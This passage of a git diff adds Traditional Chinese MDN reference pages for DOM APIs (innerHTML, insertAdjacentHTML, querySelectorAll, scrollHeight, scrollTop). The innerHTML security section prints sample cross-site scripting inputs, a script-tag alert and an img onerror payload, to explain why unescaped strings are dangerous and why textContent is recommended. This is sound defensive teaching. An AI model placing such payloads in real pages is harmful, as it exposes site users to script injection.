+<p>This example fetches the document's current HTML markup and replaces the <code>"&lt;"</code> characters with the HTML entity <code>"&amp;lt;"</code>, thereby essentially converting the HTML into raw text. This is then wrapped in a {{HTMLElement("pre")}} element. Then the value of <code>innerHTML</code> is changed to this new string. As a result, the document contents are replaced with a display of the page's entire source code.</p>
+
+<pre class="brush: js notranslate">document.documentElement.innerHTML = "&lt;pre&gt;" +
+         document.documentElement.innerHTML.replace(/&lt;/g,"&amp;lt;") +
+            "&lt;/pre&gt;";</pre>
+
+<h4 id="Operational_details">Operational details</h4>
+
+<p>What exactly happens when you set value of <code>innerHTML</code>? Doing so causes the user agent to follow these steps:</p>
+
+<ol>
+ <li>The specified value is parsed as HTML or XML (based on the document type), resulting in a {{domxref("DocumentFragment")}} object representing the new set of DOM nodes for the new elements.</li>
+ <li>If the element whose contents are being replaced is a {{HTMLElement("template")}} element, then the <code>&lt;template&gt;</code> element's {{domxref("HTMLTemplateElement.content", "content")}} attribute is replaced with the new <code>DocumentFragment</code> created in step 1.</li>
+ <li>For all other elements, the element's contents are replaced with the nodes in the new <code>DocumentFragment</code>.</li>
+</ol>
+
+<h3 id="Security_considerations">Security considerations</h3>
+
+<p>It is not uncommon to see <code>innerHTML</code> used to insert text into a web page. There is potential for this to become an attack vector on a site, creating a potential security risk.</p>
+
+<pre class="brush: js notranslate">const name = "John";
+// assuming 'el' is an HTML DOM element
+el.innerHTML = name; // harmless in this case
+
+// ...
+
+name = "&lt;script&gt;alert('I am John in an annoying alert!')&lt;/script&gt;";
+el.innerHTML = name; // harmless in this case</pre>
+
+<p>Although this may look like a {{interwiki("wikipedia", "cross-site scripting")}} attack, the result is harmless. HTML5 specifies that a {{HTMLElement("script")}} tag inserted with <code>innerHTML</code> <a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">should not execute</a>.</p>
+
+<p>However, there are ways to execute JavaScript without using {{HTMLElement("script")}} elements, so there is still a security risk whenever you use <code>innerHTML</code> to set strings over which you have no control. For example:</p>
+
+<pre class="brush: js notranslate">const name = "&lt;img src='x' onerror='alert(1)'&gt;";
+el.innerHTML = name; // shows the alert</pre>
+
+<p>For that reason, it is recommended that you do not use <code>innerHTML</code> when inserting plain text; instead, use {{domxref("Node.textContent")}}. This doesn't parse the passed content as HTML, but instead inserts it as raw text.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> If your project is one that will undergo any form of security review, using <code>innerHTML</code> most likely will result in your code being rejected. For example, <a href="https://wiki.mozilla.org/Add-ons/Reviewers/Guide/Reviewing#Step_2:_Automatic_validation">if you use <code>innerHTML</code></a> in a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">browser extension</a> and submit the extension to <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, it will not pass the automated review process.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<p>This example uses <code>innerHTML</code> to create a mechanism for logging messages into a box on a web page.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function log(msg) {
+  var logElem = document.querySelector(".log");
+
+  var time = new Date();
+  var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "&lt;br/&gt;";
+}
+
+log("Logging mouse events inside this container...");
+</pre>
+
+<p>The <code>log()</code> function creates the log output by getting the current time from a {{jsxref("Date")}} object using {{jsxref("Date.toLocaleTimeString", "toLocaleTimeString()")}}, and building a string with the timestamp and the message text. Then the message is appended to the box with the class <code>"log"</code>.</p>
+
+<p>We add a second method that logs information about {{domxref("MouseEvent")}} based events (such as {{event("mousedown")}}, {{event("click")}}, and {{event("mouseenter")}}):</p>
+
+<pre class="brush: js notranslate">function logEvent(event) {
+  var msg = "Event &lt;strong&gt;" + event.type + "&lt;/strong&gt; at &lt;em&gt;" +
+            event.clientX + ", " + event.clientY + "&lt;/em&gt;";
+  log(msg);
+}</pre>
+
+<p>Then we use this as the event handler for a number of mouse events on the box that contains our log:</p>
+
+<pre class="brush: js notranslate">var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<p>The HTML is quite simple for our example.</p>
+
+<pre class="brush: html notranslate">&lt;div class="box"&gt;
+  &lt;div&gt;&lt;strong&gt;Log:&lt;/strong&gt;&lt;/div&gt;
+  &lt;div class="log"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>The {{HTMLElement("div")}} with the class <code>"box"</code> is just a container for layout purposes, presenting the contents with a box around it. The <code>&lt;div&gt;</code> whose class is <code>"log"</code> is the container for the log text itself.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>The following CSS styles our example content.</p>
+
+<pre class="brush: css notranslate">.box {
+  width: 600px;
+  height: 300px;
+  border: 1px solid black;
+  padding: 2px 4px;
+  overflow-y: scroll;
+  overflow-x: auto;
+}
+
+.log {
+  margin-top: 8px;
+  font-family: monospace;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>The resulting content looks like this. You can see output into the log by moving the mouse in and out of the box, clicking in it, and so forth.</p>
+
+<p>{{EmbedLiveSample("Example", 640, 350)}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#dom-element-innerhtml', 'Element.innerHTML')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.innerHTML")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.textContent")}} and {{domxref("Node.innerText")}}</li>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+ <li>Parsing HTML into a DOM tree: {{domxref("DOMParser")}}</li>
+ <li>Serializing XML or HTML into a DOM tree: {{domxref("XMLSerializer")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/element/insertadjacenthtml/index.html b/files/zh-tw/web/api/element/insertadjacenthtml/index.html
new file mode 100644
index 0000000000..6b9da0f403
--- /dev/null
+++ b/files/zh-tw/web/api/element/insertadjacenthtml/index.html
@@ -0,0 +1,135 @@
+---
+title: Element.insertAdjacentHTML()
+slug: Web/API/Element/insertAdjacentHTML
+translation_of: Web/API/Element/insertAdjacentHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>insertAdjacentHTML()</code> 把傳入的字串解析成 HTML 或 XML，並把該節點插入到 DOM 樹指定的位置。它不會重新解析被使用的元素，因此他不會破壞該元素裡面原有的元素。這避免了序列化的複雜步驟，使得它比直接操作  <code>innerHTML</code> 快上許多。</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre><em>element</em>.insertAdjacentHTML(<em>position</em>, <em>text</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>position</dt>
+ <dd>A {{domxref("DOMString")}} representing the position relative to the <code>element</code>; must be one of the following strings:
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code>: 在 <code>element</code> 之前。</li>
+  <li><code style="color: green;">'afterbegin'</code>: 在 <code>element</code> 裡面，第一個子元素之前。</li>
+  <li><code style="color: blue;">'beforeend'</code>: 在 <code>element</code> 裡面，最後一個子元素之後。</li>
+  <li><code style="color: magenta;">'afterend'</code>: 在 <code>element</code> 之後。</li>
+ </ul>
+ </dd>
+ <dt>text</dt>
+ <dd><code>text</code> 是即將被解析並插入到 DOM 樹裡的字串。</dd>
+</dl>
+
+<h3 id="Visualization_of_position_names">Visualization of position names</h3>
+
+<pre>&lt;!-- beforebegin --&gt;
+&lt;p&gt;
+  &lt;!-- afterbegin --&gt;
+  foo
+  &lt;!-- beforeend --&gt;
+&lt;/p&gt;
+&lt;!-- afterend --&gt;</pre>
+
+<div class="note"><strong>Note: </strong> <code>beforebegin</code> 和 <code>afterend</code> 只在該節點位於 DOM 樹內、並且有母元素時有效。</div>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">// &lt;div id="one"&gt;one&lt;/div&gt;
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '&lt;div id="two"&gt;two&lt;/div&gt;');
+
+// At this point, the new structure is:
+// &lt;div id="one"&gt;one&lt;/div&gt;&lt;div id="two"&gt;two&lt;/div&gt;</pre>
+
+<h2 id="Specification" name="Specification">Notes</h2>
+
+<h3 id="Security_Considerations">Security Considerations</h3>
+
+<p>When inserting HTML into a page by using <code>insertAdjacentHTML</code> be careful not to use user input that hasn't been escaped.</p>
+
+<p>It is not recommended you use <code>insertAdjacentHTML</code> when inserting plain text; instead, use the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent" title="The Node.textContent property represents the text content of a node and its descendants."><code>Node.textContent</code></a> property or <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentText" title="The insertAdjacentText() method inserts a given text node at a given position relative to the element it is invoked upon."><code>Element.insertAdjacentText()</code></a> method. This doesn't interpret the passed content as HTML, but instead inserts it as raw text.</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#widl-Element-insertAdjacentHTML-void-DOMString-position-DOMString-text', 'Element.insertAdjacentHTML()')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("8.0") }}</td>
+   <td>4.0</td>
+   <td>7.0</td>
+   <td>4.0 (527)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("8.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("Element.insertAdjacentText()")}}</li>
+ <li>{{domxref("XMLSerializer")}}: Construct a DOM representation of XML text</li>
+ <li><a class="external" href="https://hacks.mozilla.org/2011/11/insertadjacenthtml-enables-faster-html-snippet-injection/">hacks.mozilla.org guest post</a><span class="external"> by Henri Sivonen including benchmark showing that insertAdjacentHTML can be way faster in some cases.</span></li>
+</ul>
diff --git a/files/zh-tw/web/api/element/queryselectorall/index.html b/files/zh-tw/web/api/element/queryselectorall/index.html
new file mode 100644
index 0000000000..6f777763bf
--- /dev/null
+++ b/files/zh-tw/web/api/element/queryselectorall/index.html
@@ -0,0 +1,140 @@
+---
+title: Element.querySelectorAll()
+slug: Web/API/Element/querySelectorAll
+translation_of: Web/API/Element/querySelectorAll
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="Summary" name="Summary">總覽</h2>
+
+<p>Returns a non-live <a href="/en-US/docs/DOM/NodeList" title="DOM/NodeList"><code>NodeList</code></a> of all elements descended from the element on which it is invoked that matches the specified group of CSS selectors. (The base element itself is not included, even if it matches.)</p>
+
+<h2 id="Syntax" name="Syntax">表達式</h2>
+
+<pre class="syntaxbox"><em>elementList</em> = baseElement.querySelectorAll(<em>selectors</em>);</pre>
+
+<dl>
+ <dt><code>elementList</code></dt>
+ <dd>is a non-live node list [<code> NodeList[elements]</code> <code>] </code>of <a href="/en-US/docs/DOM/element" title="DOM/Element">element</a> objects.</dd>
+ <dt><code>baseElement</code></dt>
+ <dd>is an <a href="/en-US/docs/DOM/element" title="DOM/element">element</a> object.</dd>
+ <dt><code>selectors</code></dt>
+ <dd>is a group of <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">selectors</a> to match on or elements of the DOM. </dd>
+</dl>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<p>下例是從整個網頁的 body 中，取得所有 <code>p</code> 元素：</p>
+
+<pre class="brush: js">let matches = document.body.querySelectorAll('p');
+</pre>
+
+<p>This example returns a list of <code>p</code> children elements under a container, whose parent is a <code>div</code> that has the class 'highlighted':</p>
+
+<pre class="brush:js">let el = document.querySelector('#test');    //return an element with id='test'
+let matches = el.querySelectorAll('div.highlighted &gt; p'); // return a NodeList of p wrapped in a div with attribute class "highlighted"
+</pre>
+
+<p>下例是取得所有有 attribute <code>data-src</code> 的 <code>iframe</code> 元素：</p>
+
+<pre class="brush: js">let matches = el.querySelectorAll('iframe[data-src]');
+</pre>
+
+<h2 id="Notes" name="Notes">註</h2>
+
+<p>If the specified “selectors” are not found inside the DOM of the page, the method <code>queryselectorAll</code> returns an empty NodeList as specified below:</p>
+
+<pre class="brush: js">&gt; let x = document.body.querySelectorAll('.highlighted'); //case: if the class highlighted doesn't exist in any attribute "class" of the DOM the result is
+&gt; [] //empty NodeList</pre>
+
+<p><code>querySelectorAll()</code> was introduced in the WebApps API.</p>
+
+<p>The string argument pass to <code>querySelectorAll</code> must follow the CSS syntax. See {{domxref("document.querySelector")}} for a concrete example.</p>
+
+<p>We could access a single item inside the NodeList in the following way:</p>
+
+<pre class="brush: js">let x = document.body.querySelectorAll('.highlighted');
+x.length; //return the size of x
+x[i_item]; //where i_item has a value between 0 and x.length-1. The operator "[]" return as in an array the element at index "i_item"
+</pre>
+
+<p>We could iterate inside a NodeList with the construct <code>for(....) {...} </code>as in the following code:</p>
+
+<pre class="brush: js"> let x = document.body.querySelectorAll('.highlighted');
+ let index = 0;
+ for( index=0; index &lt; x.length; index++ ) {
+       console.log(x[index]);
+ }</pre>
+
+<p>So in the above way, it is possible to manage and modify the behaviour of the page.</p>
+
+<h2 id="Quirks">Quirks</h2>
+
+<p><code>querySelectorAll()</code> behaves differently than most common JavaScript DOM libraries, which might lead to unexpected results:</p>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;div class="select"&gt;
+    &lt;div class="inner"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: js">let select = document.querySelector('.select');
+let inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1, not 0!
+</pre>
+
+<p>In this example, when selecting <code>.outer .inner</code> in the context of <code>.select</code>, .<code>inner</code> is still found, even though <code>.outer</code> is not a descendant of the baseElement (<code>.select</code>).<br>
+ <code>querySelectorAll() </code>only verifies that the last element in the selector is within the baseElement.</p>
+
+<p>The <code><a href="/en-US/docs/Web/CSS/:scope">:scope</a></code> pseudo-class restores the expected behavior, only matching selectors on descendants of the baseElement:</p>
+
+<pre class="brush: js">let select = document.querySelector('.select');
+let inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">評論</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-parentnode-queryselectorallselectors','querySelectorAll')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2','#queryselectorall','querySelectorAll')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1','#queryselectorall','querySelectorAll')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<div>{{Compat("api.Element.querySelectorAll")}}</div>
+
+<p>[1] Supported in Opera 15+ by enabling the "<strong>Enable &lt;style scoped&gt;</strong>" or "<strong>Enable experimental Web Platform features</strong>" flag in <code>chrome://flags</code>.</p>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Document.querySelectorAll" title="DOM/document.querySelectorAll"><code>document.querySelectorAll</code></a></li>
+ <li><a href="/en-US/docs/DOM/Document.querySelector" title="DOM/document.querySelector"><code>document.querySelector</code></a></li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector">Code snippets for <code>querySelector</code></a></li>
+</ul>
diff --git a/files/zh-tw/web/api/element/scrollheight/index.html b/files/zh-tw/web/api/element/scrollheight/index.html
new file mode 100644
index 0000000000..eabf9987bf
--- /dev/null
+++ b/files/zh-tw/web/api/element/scrollheight/index.html
@@ -0,0 +1,170 @@
+---
+title: Element.scrollHeight
+slug: Web/API/Element/scrollHeight
+tags:
+  - API
+  - Reference
+translation_of: Web/API/Element/scrollHeight
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>Element.scrollHeight</code></strong> 是衡量元素包含因為 overflow 而沒顯示在螢幕上的內容高度的唯讀屬性. <code>scrollHeight</code> 的值相等於元素要求 <code>clientHeight</code> 在視域中沒有使用滾動條顯示所有內容的最小高度值 . 這當中只包含 padding, 並不包含 margin.</p>
+
+<div class="note">
+<p>這個屬性會以四捨五入進位取整數. 如果要使用非整數值, 使用 {{ domxref("Element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">表達式</h2>
+
+<pre class="eval">var <em>intElemScrollHeight</em> = document.getElementById(<em>id_attribute_value</em>).scrollHeight;
+</pre>
+
+<p><em>intElemScrollHeight</em> 是個儲存了元素 scrollHeight 的正整數變數. scrollHeight是唯讀的屬性.</p>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<p><img alt="Image:scrollHeight.png" class="internal" src="/@api/deki/files/840/=ScrollHeight.png"></p>
+
+<h2 id="問題與解決方法">問題與解決方法</h2>
+
+<h3 id="了解元素是否被滾輪完全滾過">了解元素是否被滾輪完全滾過</h3>
+
+<p>下面的等式代表<code>如果元素被完全滾過將會</code>回傳 <code>true </code>,  否則回傳 <code>false</code>.</p>
+
+<pre class="syntaxbox">element.scrollHeight - element.scrollTop === element.clientHeight</pre>
+
+<h2 id="scrollHeight_Demo" name="scrollHeight_Demo">scrollHeight 範例</h2>
+
+<p>藉由 <code><a href="/en-US/docs/DOM/element.onscroll" title="en-US/docs/DOM/element.onscroll">onscroll</a></code> 事件, 這個等式對於決定使用者是否已經讀完文字內容是很有用 (參見 <code><a href="/en-US/docs/DOM/element.scrollTop" title="en-US/docs/DOM/element.scrollTop">element.scrollTop</a></code>, <code><a href="/en-US/docs/DOM/element.clientHeight" title="en-US/docs/DOM/element.clientHeight">element.clientHeight</a></code> 屬性). 範例:</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form name="registration"&gt;
+  &lt;p&gt;
+    &lt;textarea id="rules"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum at laoreet magna.
+Aliquam erat volutpat. Praesent molestie, dolor ut eleifend aliquam, mi ligula ultrices sapien, quis cursus
+neque dui nec risus. Duis tincidunt lobortis purus eu aliquet. Quisque in dignissim magna. Aenean ac lorem at
+velit ultrices consequat. Nulla luctus nisi ut libero cursus ultrices. Pellentesque nec dignissim enim. Phasellus
+ut quam lacus, sed ultricies diam. Vestibulum convallis rutrum dolor, sit amet egestas velit scelerisque id.
+Proin non dignissim nisl. Sed mi odio, ullamcorper eget mattis id, malesuada vitae libero. Integer dolor lorem,
+mattis sed dapibus a, faucibus id metus. Duis iaculis dictum pulvinar. In nisi nibh, dapibus ac blandit at, porta
+at arcu. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent
+dictum ipsum aliquet erat eleifend sit amet sollicitudin felis tempus. Aliquam congue cursus venenatis. Maecenas
+luctus pellentesque placerat. Mauris nisl odio, condimentum sed fringilla a, consectetur id ligula. Praesent sem
+sem, aliquet non faucibus vitae, iaculis nec elit. Nullam volutpat, lectus et blandit bibendum, nulla lorem congue
+turpis, ac pretium tortor sem ut nibh. Donec vel mi in ligula hendrerit sagittis. Donec faucibus viverra fermentum.
+Fusce in arcu arcu. Nullam at dignissim massa. Cras nibh est, pretium sit amet faucibus eget, sollicitudin in
+ligula. Vivamus vitae urna mauris, eget euismod nunc. Aenean semper gravida enim non feugiat. In hac habitasse
+platea dictumst. Cras eleifend nisl volutpat ante condimentum convallis. Donec varius dolor malesuada erat
+consequat congue. Donec eu lacus ut sapien venenatis tincidunt. Quisque sit amet tellus et enim bibendum varius et
+a orci. Donec aliquet volutpat scelerisque. Proin et tortor dolor. Ut aliquet, dolor a mattis sodales, odio diam
+pulvinar sem, egestas pretium magna eros vitae felis. Nam vitae magna lectus, et ornare elit. Morbi feugiat, ipsum
+ac mattis congue, quam neque mollis tortor, nec mollis nisl dolor a tortor. Maecenas varius est sit amet elit
+interdum quis placerat metus posuere. Duis malesuada justo a diam vestibulum vel aliquam nisi ornare. Integer
+laoreet nisi a odio ornare non congue turpis eleifend. Cum sociis natoque penatibus et magnis dis parturient montes,
+nascetur ridiculus mus. Cras vulputate libero sed arcu iaculis nec lobortis orci fermentum.
+    &lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;input type="checkbox" name="accept" id="agree" /&gt;
+    &lt;label for="agree"&gt;I agree&lt;/label&gt;
+    &lt;input type="submit" id="nextstep" value="Next" /&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function checkReading () {
+  if (checkReading.read) {
+    return;
+  }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ? "Thank you." : "Please, scroll and read the following text.";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}</pre>
+
+<p>{{ EmbedLiveSample('scrollHeight_Demo', '640', '400') }}</p>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<p><code>scrollHeight</code> 是 MSIE's <abbr title="Dynamic HyperText Markup Language">DHTML</abbr> 物件模型的一部份. <code>scrollHeight</code> 紀錄在下列的規範: {{SpecName("CSSOM View")}}.</p>
+
+<h2 id="Supported" name="Supported">瀏覽器相容性</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>瀏覽器</th>
+   <th>最低版本</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><strong>8.0</strong></td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td><strong>3.0</strong> (1.9)</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Safari | Chrome | WebKit</td>
+   <td><strong>4.0</strong> | <strong>4.0</strong> | ?</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>In FireFox versions earlier than 21:</strong> <span style="line-height: 1.5;">When an element's content does not generate a vertical scrollbar, then its </span><code style="font-size: 14px;">scrollHeight</code><span style="line-height: 1.5;"> property is equal to its </span><code style="font-size: 14px;">clientHeight</code><span style="line-height: 1.5;"> property. This can mean either the content is too short to require a scrollbar or that the element has CSS style overflow value of visible (non-scrollable).</span></p>
+
+<h2 id="See_Also" name="See_Also">參見</h2>
+
+<ul>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN: Measuring Element Dimension and Location with CSSOM in Windows Internet Explorer 9</a></li>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.offsetHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/element/scrolltop/index.html b/files/zh-tw/web/api/element/scrolltop/index.html
new file mode 100644
index 0000000000..f4fdfe8e09
--- /dev/null
+++ b/files/zh-tw/web/api/element/scrolltop/index.html
@@ -0,0 +1,73 @@
+---
+title: Element.scrollTop
+slug: Web/API/Element/scrollTop
+tags:
+  - API
+  - CSSOM View
+  - Reference
+translation_of: Web/API/Element/scrollTop
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>Element.scrollTop</strong></code> 屬性可以設置和獲取元素被向上捲動的高度(pixels). 元素的 <code>scrollTop</code> 是元素頂端和能被看見的最頂端之間的距離. 當元素並未產生滾動條, 那麼 <code>scrollTop</code> 的值預設為 <code>0</code>.</p>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">表達式</h2>
+
+<pre class="eval">// 獲得已經被滾動的距離(pixels)
+var <var> intElemScrollTop</var> = someElement.scrollTop;
+</pre>
+
+<p><code><var>intElemScrollTop</var></code> 為 {{domxref("element")}}已經被滾動的距離(pixels ).</p>
+
+<pre class="eval">// 設置已經被滾動的距離(pixels)
+<var>element</var>.scrollTop = <var>intValue</var>;
+</pre>
+
+<p><code>scrollTop</code> 可以被設置為任何和正整數, 注意事項:</p>
+
+<ul>
+ <li>如果元素不能滾動, <code>scrollTop</code> 被設置為 <code>0</code>.</li>
+ <li>如果設置的值小於 <code>0</code>, <code>scrollTop</code> 被設置為 <code>0</code>.</li>
+ <li>如果設置的值大於內容可以被滾動的距離, <code>scrollTop</code> 被設置為最大值.</li>
+</ul>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
